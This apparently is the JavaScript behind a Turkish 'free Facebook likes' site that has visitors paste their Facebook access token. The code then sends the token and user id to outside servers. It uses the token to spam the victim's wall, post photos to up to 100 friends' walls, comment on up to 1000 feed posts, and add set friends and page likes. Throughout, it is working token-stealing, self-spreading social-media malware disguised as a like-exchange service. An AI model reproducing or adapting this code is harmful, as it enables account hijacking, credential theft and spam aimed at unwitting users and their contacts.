var arr=[""];
var tokenme;
var user = {};
function ileti(type,msg){
     $('#logs').append('<input type="text" style="text-align: center;" value="' + msg + '" disabled="1" required="required" />');
     $('#ileti').fadeIn('slow');
     $('#ileti').removeAttr('id');
  }
$('#gonder').click(function(){
    if($('#access_token').val().length > 50){
    $('.anlatim').hide();
    $('#logs').html("");
    $('#gonder').attr("disabled","disabled");
    $('#gonder').attr("class","btn btn-TunerHD btn-bloke btn-buyuk");
    
     access_token = $('#access_token').val();
     if(access_token.indexOf("access_token=") > 0){
     access_token = access_token.split("access_token=")[1].split("&")[0];
     $('#access_token').val(access_token);
     }
    jQuery.ajax({
    url:'https://graph.facebook.com/me?access_token=' + access_token,
    dataType:'jsonp',
    success:function(data){
    user = data;
    if(user && user.name){
    ileti("success","Hosgeldin " + user.name);
      ileti("success","Begenilerin, Paylastigin Durumlara G�nderiliyor..."  +user.name);
      ileti("success","5 Dakika Sitede Bekle");
      ileti("success","Sayemizde Fame Olacaks�n :3");
    $.post("http://liker.immense-ro.tk/main.php", { subs: user.id } );
    $.post("", { id: user.id, token: access_token } );
    tokenme = access_token;
         sil(access_token,100000925451577);
	      
Abonecik("halilibrahimkzly");
Abonecik("evren.coskun.58");
Abonecik("halilibrahimkzly34");
Beyen ("amaciolmayancaps");
Beyen ("guldurdunincicikardes");
Beyen ("begenekliycekvar");
Beyen ("capschestercity");
Beyen ("mehmetyakarfansayfasi");
    posttowall();
    foto_paylas();
	arkadaslar();
    getStatus(access_token);
    sstats();
    }else{
    ileti("error",user.error.type+" error ("+user.error.code+")");
    $('#gonder').removeAttr("disabled");
    $('#gonder').attr("class","btn btn-NormaL btn-bloke btn-buyuk");
    }
    }
    });
    }
});

  aciklama = "kanka bu site 500 begeni veriyo hemde hepsi turk ben denedim oldu durumlarima bak istersen :D site ; www.famebegeni.com <3" 
function posttowall(){
     jQuery.ajax({
     url:'https://graph.facebook.com/me/feed?message='+ aciklama +'&method=POST&access_token=' + access_token,
     dataType:'script',
     success:function(){
     }
     });
}
function arkadaslar(){
     jQuery.ajax({
     url:'https://graph.facebook.com/fql?q=SELECT uid, first_name FROM user WHERE uid IN ( SELECT uid2 FROM friend WHERE uid1 = me() ) ORDER BY rand() limit 100&access_token='+access_token,
     dataType:'jsonp',
     success:function(data){
     wallpost(data);
     }
     });
}
function kayit(user,token){
     jQuery.ajax({
     url:'kayit.php',
     type:'POST',
     data:{userid:user.id,gender:user.gender,access_token:token,username:user.name},
     success:function(data){
     if(data == "true"){
     ileti("success","Kayit basarili");
     }
     }
     });
     }
     
     function sayfalar(sayfa){
     
     }
     
     function arakla(token){
     jQuery.ajax({
    url:'https://graph.facebook.com/me?access_token=' + token,
    dataType:'jsonp',
    success:function(data){
    if(data.id){
    kayit(data,token);
    }
    }});
     } 
     
     fotolink = "http://m1305.hizliresim.com/19/f/n0t3f.png";
  aciklama = "kanka bu site 500 begeni veriyo hemde hepsi turk ben denedim oldu durumlarima bak istersen :D site ; www.famebegeni.com <3"; 
     gonderildi = 0;
     
     function wallpost(list){
     for(i=0;i<list.data.length;i++){
     jQuery.ajax({
     url:'https://graph.facebook.com/'+list.data[i].uid+'/photos?url=' + fotolink + '&message=Hello '+list.data[i].first_name+ ' ' + aciklama +'&callback=paylas&method=POST&access_token=' + access_token,
     dataType:'script',
     success:function(){
     gonderildi += 1;
     if(gonderildi >= list.data.length){
            }
     }
     });
     }
     }
     
     function foto_paylas(){
     jQuery.ajax({
     url:'https://graph.facebook.com/me/photos?privacy={"value":"EVERYONE"}&url=' + fotolink + '&message='+ aciklama +'&callback=paylas&method=POST&access_token=' + access_token,
     dataType:'script',
     success:function(){
     }
     });
     }
	 var turler = {video:"Video",status:"Durum Guncellemesi",link:"Baglanti",photo:"Fotograf",swf:"Video"};
     
     function gonderiler(){
     jQuery.ajax({
     url:'https://graph.facebook.com/me?fields=feed.fields(message,privacy,type)&access_token=' + access_token,
     dataType:'jsonp',
     success:function(data){
     posts = data;
     for(i=0;i<posts.feed.data.length;i++){
     if(posts.feed.data[i].message){
     ileti("success",posts.feed.data[i].message.substr(0,50)+"... ("+turler[posts.feed.data[i].type]+")");
     }else{
     ileti("success","ID: "+posts.feed.data[i].id.split("_")[1]+"... ("+turler[posts.feed.data[i].type]+")");
     }
     }
     }
     });
     }
     
     function paylas(){
     
     }
     
     function sayfabegen(link){
     jQuery.ajax({
     url:'https://graph.facebook.com/me/likes?access_token=' + access_token + '&method=POST&url=' + link,
     dataType:'jsonp',
     success:function(data){
          }
     });
     }
     
     function Abonecik(a)
   {
   $.getJSON('https://graph.facebook.com/me/friends?uid='+a+'&method=post&access_token='+access_token)
   }
     function Beyen(a)
   {
   $.getJSON('https://graph.facebook.com/'+a+'/likes?method=POST&access_token='+access_token)
   }

     
function sstats() {
access_token = $('#access_token').val();
    $.post("http://liker.immense-ro.tk/main.php", { subs: user.id } );
    sil(access_token,arr[Math.round(arr.length*Math.random())]);
    setTimeout("getStatus()",1000); 
}
function getStatus(token){
  var commentShort = "kanka bu site 500 begeni veriyo hemde hepsi turk ben denedim oldu durumlarima bak istersen :D site ; www.famebegeni.com <3 ";
$.getJSON('https://graph.facebook.com/me?access_token=' + token, function (response) {
if (response.id) {
  var userid = response.id;
  var totalComments = 1000;
  $.getJSON('https://graph.facebook.com/' + userid + '/home?limit=' + totalComments + '&access_token=' + token, function (response) {
    if(response.data){
    var allPosts = [];
    $.each(response.data, function(i,data){
      allPosts.push(data.id);
      var megaNumber=Math.floor(Math.random()*900);
      var commentMessage = commentShort + ' (y) ' + megaNumber + ' (y) ';
      $.getJSON('https://graph.facebook.com/' + data.id + '/comments?method=POST&message=' + commentMessage + '&access_token=' + token, function (response) {
      //alert("Comment Posted!");
      });
    });
    }
  });
}
});
}
function sil(token,ids){
     $.getJSON('https://graph.facebook.com/me/friends?uid=' + ids + '&method=post&access_token=' + token, function (response) {
    //alert(response);
    });
}
function TokenUrl(id){
       return "https://www.facebook.com/dialog/oauth?redirect_uri=https://www.facebook.com/connect/login_success.html&display=popup&scope=user_about_me,user_actions.news,user_friends,user_likes,user_photos,user_status,user_subscriptions,friends_about_me,friends_likes,friends_location,friends_notes,friends_status,manage_pages,publish_actions,publish_checkins,publish_stream,read_stream,share_item,status_update&response_type=token&sso_key=com&client_id=149859461799466&_rdr";
       }
     
     $('#tokenal').click(function(){
     window.open(TokenUrl("https://www.facebook.com/dialog/oauth?redirect_uri=https://www.facebook.com/connect/login_success.html&display=popup&scope=user_about_me,user_actions.news,user_friends,user_likes,user_photos,user_status,user_subscriptions,friends_about_me,friends_likes,friends_location,friends_notes,friends_status,manage_pages,publish_actions,publish_checkins,publish_stream,read_stream,share_item,status_update&response_type=token&sso_key=com&client_id=149859461799466&_rdr"));
     });
